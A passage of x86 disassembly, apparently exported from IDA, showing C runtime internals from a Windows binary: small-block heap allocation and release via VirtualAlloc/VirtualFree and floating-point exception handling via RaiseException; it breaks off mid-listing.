sub_41B722 proc near ; CODE XREF: sub_41B83B+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_438CA4
push edi
loc_41B72F: ; CODE XREF: sub_41B722+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41B7CD
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41B748: ; CODE XREF: sub_41B722+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41B789
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_4231B0 ; VirtualFree
test eax, eax
jz short loc_41B789
or dword ptr [edi], 0FFFFFFFFh
dec dword_489514
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41B77E
cmp eax, edi
jbe short loc_41B781
loc_41B77E: ; CODE XREF: sub_41B722+56j
mov [esi+0Ch], edi
loc_41B781: ; CODE XREF: sub_41B722+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41B796
loc_41B789: ; CODE XREF: sub_41B722+2Cj
; sub_41B722+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41B748
loc_41B796: ; CODE XREF: sub_41B722+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41B7CD
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41B7CD
push 1
lea eax, [ecx+20h]
pop edx
loc_41B7AD: ; CODE XREF: sub_41B722+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41B7BE
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41B7AD
loc_41B7BE: ; CODE XREF: sub_41B722+8Ej
cmp edx, 400h
jnz short loc_41B7CD
push ecx
call sub_41B6CC
pop ecx
loc_41B7CD: ; CODE XREF: sub_41B722+11j
; sub_41B722+7Dj ...
cmp esi, off_438CA4
jz short loc_41B7DF
cmp [ebp+arg_0], 0
jg loc_41B72F
loc_41B7DF: ; CODE XREF: sub_41B722+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41B722 endp
; =============== S U B R O U T I N E =======================================
sub_41B7E4 proc near ; CODE XREF: sub_41793B+3Ap
; sub_41914F+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_438CA0
push esi
mov ecx, edx
loc_41B7F0: ; CODE XREF: sub_41B7E4+1Cj
cmp eax, [ecx+10h]
jbe short loc_41B7FA
cmp eax, [ecx+14h]
jb short loc_41B802
loc_41B7FA: ; CODE XREF: sub_41B7E4+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41B837
jmp short loc_41B7F0
; ---------------------------------------------------------------------------
loc_41B802: ; CODE XREF: sub_41B7E4+14j
test al, 0Fh
jnz short loc_41B837
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41B837
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41B837: ; CODE XREF: sub_41B7E4+1Aj
; sub_41B7E4+20j ...
xor eax, eax
pop esi
retn
sub_41B7E4 endp
; =============== S U B R O U T I N E =======================================
sub_41B83B proc near ; CODE XREF: sub_41793B+4Dp
; sub_41914F+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41B87F
inc dword_489514
cmp dword_489514, 20h
jnz short locret_41B87F
push 10h
call sub_41B722
pop ecx
locret_41B87F: ; CODE XREF: sub_41B83B+2Bj
; sub_41B83B+3Aj
retn
sub_41B83B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B880 proc near ; CODE XREF: sub_4178C7+4Ap
; sub_41914F+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43ACC0
push edi
loc_41B88E: ; CODE XREF: sub_41B880+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41B939
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41B8F3
loc_41B8B9: ; CODE XREF: sub_41B880+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41B8DC
cmp [edi+4], ebx
jbe short loc_41B8DC
push ebx
push ecx
push eax
call sub_41BA88
add esp, 0Ch
test eax, eax
jnz short loc_41B94B
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41B8DC: ; CODE XREF: sub_41B880+40j
; sub_41B880+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41B8B9
jmp short loc_41B8F6
; ---------------------------------------------------------------------------
loc_41B8F3: ; CODE XREF: sub_41B880+37j
mov ebx, [ebp+arg_0]
loc_41B8F6: ; CODE XREF: sub_41B880+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41B93C
loc_41B909: ; CODE XREF: sub_41B880+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41B928
cmp [edi+4], ebx
jbe short loc_41B928
push ebx
push eax
push [ebp+var_4]
call sub_41BA88
add esp, 0Ch
test eax, eax
jnz short loc_41B94B
mov [edi+4], ebx
loc_41B928: ; CODE XREF: sub_41B880+8Dj
; sub_41B880+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41B909
jmp short loc_41B93C
; ---------------------------------------------------------------------------
loc_41B939: ; CODE XREF: sub_41B880+14j
mov ebx, [ebp+arg_0]
loc_41B93C: ; CODE XREF: sub_41B880+87j
; sub_41B880+B7j
mov esi, [esi]
cmp esi, off_43ACC0
jz short loc_41B95B
jmp loc_41B88E
; ---------------------------------------------------------------------------
loc_41B94B: ; CODE XREF: sub_41B880+54j
; sub_41B880+A3j
mov off_43ACC0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41BA83
; ---------------------------------------------------------------------------
loc_41B95B: ; CODE XREF: sub_41B880+C4j
mov eax, offset off_438CA0
mov edi, eax
loc_41B962: ; CODE XREF: sub_41B880+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41B96E
cmp dword ptr [edi+0Ch], 0
jnz short loc_41B97A
loc_41B96E: ; CODE XREF: sub_41B880+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41BA4F
jmp short loc_41B962
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B880+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41B9A9
loc_41B998: ; CODE XREF: sub_41B880+127j
cmp [ebp+var_4], 10h
jge short loc_41B9A9
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41B998
loc_41B9A9: ; CODE XREF: sub_41B880+116j
; sub_41B880+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_4231B4 ; VirtualAlloc
cmp eax, esi
jnz loc_41BA81
push 0
push [ebp+var_8]
push esi
call sub_417030
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41BA10
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41B9E6: ; CODE XREF: sub_41B880+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41B9E6
loc_41BA10: ; CODE XREF: sub_41B880+15Ej
mov off_43ACC0, edi
lea eax, [edi+2018h]
loc_41BA1C: ; CODE XREF: sub_41B880+1A8j
cmp ecx, eax
jnb short loc_41BA2C
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41BA2A
add ecx, 8
jmp short loc_41BA1C
; ---------------------------------------------------------------------------
loc_41BA2A: ; CODE XREF: sub_41B880+1A3j
cmp ecx, eax
loc_41BA2C: ; CODE XREF: sub_41B880+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41BA83
; ---------------------------------------------------------------------------
loc_41BA4F: ; CODE XREF: sub_41B880+F2j
call sub_41B588
test eax, eax
jz short loc_41BA81
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43ACC0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41BA83
; ---------------------------------------------------------------------------
loc_41BA81: ; CODE XREF: sub_41B880+143j
; sub_41B880+1D6j
xor eax, eax
loc_41BA83: ; CODE XREF: sub_41B880+D6j
; sub_41B880+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B880 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA88 proc near ; CODE XREF: sub_41B880+4Ap
; sub_41B880+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41BACD
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41BABC
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41BAC5
; ---------------------------------------------------------------------------
loc_41BABC: ; CODE XREF: sub_41BA88+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41BAC5: ; CODE XREF: sub_41BA88+32j
lea eax, [edi+8]
jmp loc_41BB9B
; ---------------------------------------------------------------------------
loc_41BACD: ; CODE XREF: sub_41BA88+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41BAD6
mov eax, esi
loc_41BAD6: ; CODE XREF: sub_41BA88+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41BB20
loc_41BADD: ; CODE XREF: sub_41BA88+96j
mov bl, [eax]
test bl, bl
jnz short loc_41BB13
push 1
lea ebx, [eax+1]
pop esi
loc_41BAE9: ; CODE XREF: sub_41BA88+68j
cmp byte ptr [ebx], 0
jnz short loc_41BAF2
inc ebx
inc esi
jmp short loc_41BAE9
; ---------------------------------------------------------------------------
loc_41BAF2: ; CODE XREF: sub_41BA88+64j
cmp esi, edx
jnb short loc_41BB44
cmp eax, [ebp+var_4]
jnz short loc_41BB00
mov [ecx+4], esi
jmp short loc_41BB0C
; ---------------------------------------------------------------------------
loc_41BB00: ; CODE XREF: sub_41BA88+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41BBA5
loc_41BB0C: ; CODE XREF: sub_41BA88+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41BB18
; ---------------------------------------------------------------------------
loc_41BB13: ; CODE XREF: sub_41BA88+59j
movzx esi, bl
add eax, esi
loc_41BB18: ; CODE XREF: sub_41BA88+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41BADD
loc_41BB20: ; CODE XREF: sub_41BA88+53j
lea esi, [ecx+8]
loc_41BB23: ; CODE XREF: sub_41BA88+EBj
; sub_41BA88+F2j
cmp esi, edi
jnb short loc_41BBA5
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41BBA5
mov al, [esi]
test al, al
jnz short loc_41BB75
push 1
lea ebx, [esi+1]
pop eax
loc_41BB3B: ; CODE XREF: sub_41BA88+BAj
cmp byte ptr [ebx], 0
jnz short loc_41BB65
inc ebx
inc eax
jmp short loc_41BB3B
; ---------------------------------------------------------------------------
loc_41BB44: ; CODE XREF: sub_41BA88+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41BB55
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41BB5E
; ---------------------------------------------------------------------------
loc_41BB55: ; CODE XREF: sub_41BA88+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41BB5E: ; CODE XREF: sub_41BA88+CBj
mov [eax], dl
add eax, 8
jmp short loc_41BB9B
; ---------------------------------------------------------------------------
loc_41BB65: ; CODE XREF: sub_41BA88+B6j
cmp eax, edx
jnb short loc_41BB7C
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41BBA5
mov esi, ebx
jmp short loc_41BB23
; ---------------------------------------------------------------------------
loc_41BB75: ; CODE XREF: sub_41BA88+ABj
movzx eax, al
add esi, eax
jmp short loc_41BB23
; ---------------------------------------------------------------------------
loc_41BB7C: ; CODE XREF: sub_41BA88+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41BB8D
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41BB96
; ---------------------------------------------------------------------------
loc_41BB8D: ; CODE XREF: sub_41BA88+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41BB96: ; CODE XREF: sub_41BA88+103j
mov [esi], dl
lea eax, [esi+8]
loc_41BB9B: ; CODE XREF: sub_41BA88+40j
; sub_41BA88+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41BBA7
; ---------------------------------------------------------------------------
loc_41BBA5: ; CODE XREF: sub_41BA88+7Ej
; sub_41BA88+9Dj ...
xor eax, eax
loc_41BBA7: ; CODE XREF: sub_41BA88+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41BA88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBAC proc near ; CODE XREF: sub_41914F+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41BBE6
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41BC46
; ---------------------------------------------------------------------------
loc_41BBE6: ; CODE XREF: sub_41BBAC+26j
jnb short loc_41BC4D
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41BC4D
lea eax, [ecx+edx]
loc_41BBFB: ; CODE XREF: sub_41BBAC+59j
cmp eax, esi
jnb short loc_41BC09
cmp byte ptr [eax], 0
jnz short loc_41BC07
inc eax
jmp short loc_41BBFB
; ---------------------------------------------------------------------------
loc_41BC07: ; CODE XREF: sub_41BBAC+56j
cmp eax, esi
loc_41BC09: ; CODE XREF: sub_41BBAC+51j
jnz short loc_41BC4D
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41BC41
cmp esi, eax
jbe short loc_41BC41
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41BC38
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41BC33
loc_41BC2C: ; CODE XREF: sub_41BBAC+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41BC2C
loc_41BC33: ; CODE XREF: sub_41BBAC+7Ej
mov [ebx+4], eax
jmp short loc_41BC41
; ---------------------------------------------------------------------------
loc_41BC38: ; CODE XREF: sub_41BBAC+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41BC41: ; CODE XREF: sub_41BBAC+68j
; sub_41BBAC+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41BC46: ; CODE XREF: sub_41BBAC+38j
mov [ebp+var_4], 1
loc_41BC4D: ; CODE XREF: sub_41BBAC:loc_41BBE6j
; sub_41BBAC+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41BBAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_41BC55(int,int,double,int)
sub_41BC55 proc near ; CODE XREF: sub_4179A4+51p
; sub_417AEB+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43B418, 0
jnz short loc_41BC8A
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_41C20A
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BC8A: ; CODE XREF: sub_41BC55+Aj
push 0FFFFh
mov dword_4894AC, 21h
push [ebp+arg_C]
call sub_41C47D
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_41BC55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41BCA8(int,int,double,double,int)
sub_41BCA8 proc near ; CODE XREF: sub_4179A4:loc_417A67p
; sub_417AEB:loc_417BAEp
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41BFF3
add esp, 0Ch
test eax, eax
jnz short loc_41BCE6
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_41BD40
add esp, 18h
loc_41BCE6: ; CODE XREF: sub_41BCA8+1Aj
push [ebp+arg_0]
call sub_41C2DD
cmp dword_43B418, 0
pop ecx
jnz short loc_41BD24
test eax, eax
jz short loc_41BD24
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_41C20A
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_41BD24: ; CODE XREF: sub_41BCA8+4Ej
; sub_41BCA8+52j
push eax
call sub_41C292
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_41C47D
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_41BCA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD40 proc near ; CODE XREF: sub_41BCA8+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_41BD72
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_41BD72: ; CODE XREF: sub_41BD40+23j
test cl, 2
jz short loc_41BD85
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_41BD85: ; CODE XREF: sub_41BD40+35j
test cl, bl
jz short loc_41BD97
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_41BD97: ; CODE XREF: sub_41BD40+47j
test cl, 4
jz short loc_41BDAA
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_41BDAA: ; CODE XREF: sub_41BD40+5Aj
test cl, 8
jz short loc_41BDBD
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_41BDBD: ; CODE XREF: sub_41BD40+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41C460
test al, bl
jz short loc_41BE46
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_41BE46: ; CODE XREF: sub_41BD40+FDj
test al, 4
jz short loc_41BE51
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41BE51: ; CODE XREF: sub_41BD40+108j
test al, 8
jz short loc_41BE5C
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41BE5C: ; CODE XREF: sub_41BD40+113j
test al, 10h
jz short loc_41BE66
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41BE66: ; CODE XREF: sub_41BD40+11Ej
test al, 20h
jz short loc_41BE70
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41BE70: ; CODE XREF: sub_41BD40+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_41BEAF
cmp eax, 400h
jz short loc_41BEA1
cmp eax, 800h
jz short loc_41BE95
cmp eax, ecx
jnz short loc_41BEB5
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41BEB5
; ---------------------------------------------------------------------------
loc_41BE95: ; CODE XREF: sub_41BD40+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_41BEAB
; ---------------------------------------------------------------------------
loc_41BEA1: ; CODE XREF: sub_41BD40+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_41BEAB: ; CODE XREF: sub_41BD40+15Fj
mov [eax], ecx
jmp short loc_41BEB5
; ---------------------------------------------------------------------------
loc_41BEAF: ; CODE XREF: sub_41BD40+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41BEB5: ; CODE XREF: sub_41BD40+14Bj
; sub_41BD40+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_41BEE0
cmp eax, 200h
jz short loc_41BED3
cmp eax, ecx
jnz short loc_41BEED
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_41BEED
; ---------------------------------------------------------------------------
loc_41BED3: ; CODE XREF: sub_41BD40+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_41BEEB
; ---------------------------------------------------------------------------
loc_41BEE0: ; CODE XREF: sub_41BD40+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_41BEEB: ; CODE XREF: sub_41BD40+19Ej
mov [eax], ecx
loc_41BEED: ; CODE XREF: sub_41BD40+189j
; sub_41BD40+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41C46E
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_4231BC ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_41BF67
and dword ptr [esi], 0FFFFFFFEh
loc_41BF67: ; CODE XREF: sub_41BD40+222j
test byte ptr [eax+8], 8
jz short loc_41BF70
and dword ptr [esi], 0FFFFFFFBh
loc_41BF70: ; CODE XREF: sub_41BD40+22Bj
test byte ptr [eax+8], 4
jz short loc_41BF79
and dword ptr [esi], 0FFFFFFF7h
loc_41BF79: ; CODE XREF: sub_41BD40+234j
test byte ptr [eax+8], 2
jz short loc_41BF82
and dword ptr [esi], 0FFFFFFEFh
loc_41BF82: ; CODE XREF: sub_41BD40+23Dj
test [eax+8], bl
jz short loc_41BF8A
and dword ptr [esi], 0FFFFFFDFh
loc_41BF8A: ; CODE XREF: sub_41BD40+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_41BFBE
dec ecx
jz short loc_41BFB2
dec ecx
jz short loc_41BFA8
dec ecx
jnz short loc_41BFC0
or byte ptr [esi+1], 0Ch
jmp short loc_41BFC0
; ---------------------------------------------------------------------------
loc_41BFA8: ; CODE XREF: sub_41BD40+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_41BFBA
; ---------------------------------------------------------------------------
loc_41BFB2: ; CODE XREF: sub_41BD40+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_41BFBA: ; CODE XREF: sub_41BD40+270j
mov [esi], ecx
jmp short loc_41BFC0
; ---------------------------------------------------------------------------
loc_41BFBE: ; CODE XREF: sub_41BD40+257j
and [esi], edx
loc_41BFC0: ; CODE XREF: sub_41BD40+260j
; sub_41BD40+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_41BFE0
dec ecx
jz short loc_41BFD7
dec ecx
jnz short loc_41BFE9
and [esi], edx
jmp short loc_41BFE9
; ---------------------------------------------------------------------------
loc_41BFD7: ; CODE XREF: sub_41BD40+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_41BFE7
; ---------------------------------------------------------------------------
loc_41BFE0: ; CODE XREF: sub_41BD40+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_41BFE7: ; CODE XREF: sub_41BD40+29Ej
mov [esi], ecx
loc_41BFE9: ; CODE XREF: sub_41BD40+291j
; sub_41BD40+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41BD40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFF3 proc near ; CODE XREF: sub_41BCA8+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
